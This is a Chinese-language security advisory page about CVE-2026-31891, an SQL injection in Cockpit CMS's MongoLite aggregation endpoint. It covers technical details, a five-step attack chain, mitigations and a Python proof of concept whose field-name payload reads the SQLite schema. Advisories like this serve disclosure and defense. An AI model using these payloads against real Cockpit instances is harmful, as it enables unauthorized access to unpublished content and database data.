IPBUF安全漏洞报告
English
CVE-2026-31891 CVSS 7.7 高危

CVE-2026-31891 Cockpit CMS MongoLite聚合优化器SQL注入漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-31891
漏洞类型
SQL注入
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Cockpit CMS

相关标签

SQL注入Cockpit CMSMongoLite内容管理系统API安全CVE-2026-31891高危漏洞

漏洞概述

CVE-2026-31891是Cockpit CMS中发现的严重SQL注入漏洞。Cockpit是一款无头内容管理系统(Headless CMS),广泛用于构建API驱动的应用程序。该漏洞存在于MongoLite Aggregation Optimizer组件中,影响版本2.13.4及更早版本。攻击者可以通过访问/api/content/aggregate/{model}端点,利用未经过滤的字段名称进行SQL注入攻击。值得注意的是,攻击者仅需要持有最低权限级别的只读API密钥即可成功利用此漏洞,无需管理员权限。通过构造恶意的聚合查询,攻击者能够绕过_content表中的_state=1发布内容过滤器,访问未发布或受限制的内容,并从底层SQLite内容数据库中提取任意数据。此漏洞已被官方在版本2.13.5中修复,修复措施将v2.13.3中引入的字段名sanitization扩展应用到toJsonExtractRaw()方法中。

技术细节

该SQL注入漏洞的根本原因在于lib/MongoLite/Aggregation/Optimizer.php文件中的toJsonExtractRaw()方法未对用户输入的字段名称进行适当的sanitization处理。攻击者通过/api/content/aggregate/{model}端点提交包含恶意字段名的聚合查询,可以注入任意SQL代码。具体利用方式包括:1)通过构造带有SQL注入payload的字段名参数,攻击者可以突破_content表的_state=1过滤器限制,访问draft、archived等非发布状态的内容;2)利用UNION SELECT等SQL技术从数据库中提取敏感信息,包括用户数据、配置信息等;3)由于Cockpit使用SQLite作为后端数据库,攻击者可以通过SQL注入读取任意表的数据。修复方案采用了与toJsonPath()方法相同的字段名sanitization策略,确保所有用户可控的字段名在传递给SQL查询前经过严格的过滤和转义处理。

攻击链分析

STEP 1
步骤1
获取只读API密钥:攻击者通过注册账户或社工手段获取Cockpit CMS实例的有效API密钥(最低权限级别)
STEP 2
步骤2
识别暴露的端点:定位/api/content/aggregate/{model}端点,确认该端点可通过网络访问且未实施额外的访问控制
STEP 3
步骤3
构造恶意聚合查询:利用MongoLite Aggregation Optimizer中toJsonExtractRaw()方法的缺陷,在字段名中注入SQL payload
STEP 4
步骤4
绕过状态过滤器:通过注入的SQL代码绕过_state=1过滤器,访问draft、archived等非发布状态的内容记录
STEP 5
步骤5
数据提取:使用UNION SELECT或其他SQL技术从SQLite数据库中提取敏感数据,包括用户信息、配置数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-31891 PoC - Cockpit CMS SQL Injection # Requires: Valid read-only API key # Target: /api/content/aggregate/{model} import requests import json TARGET_URL = "http://target.com/api/content/aggregate/posts" API_KEY = "your_readonly_api_key" # PoC 1: Bypass _state filter to access unpublished content payload = { "filter": { "$where": "1==1" }, "fields": { "title": 1, "_state": 1 }, "aggregate": [ { "$project": { "title": "$title", "state": "$_state", "content": "$content" } } ] } headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } response = requests.post(TARGET_URL, json=payload, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {json.dumps(response.json(), indent=2)}") # PoC 2: Extract data via SQL injection in field names injection_payload = { "aggregate": [ { "$project": { "data': 1, (SELECT name FROM sqlite_master WHERE type='table' LIMIT 1))--": 1 } } ] } response2 = requests.post(TARGET_URL, json=injection_payload, headers=headers) print(f"Injection Response: {response2.text}")

影响范围

Cockpit CMS <= 2.13.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache)限制对/api/content/aggregate端点的访问,仅允许受信任的IP地址访问;2)临时禁用API访问功能;3)实施速率限制防止自动化攻击;4)监控日志中的异常聚合查询请求;5)考虑使用外部API网关进行额外的安全控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表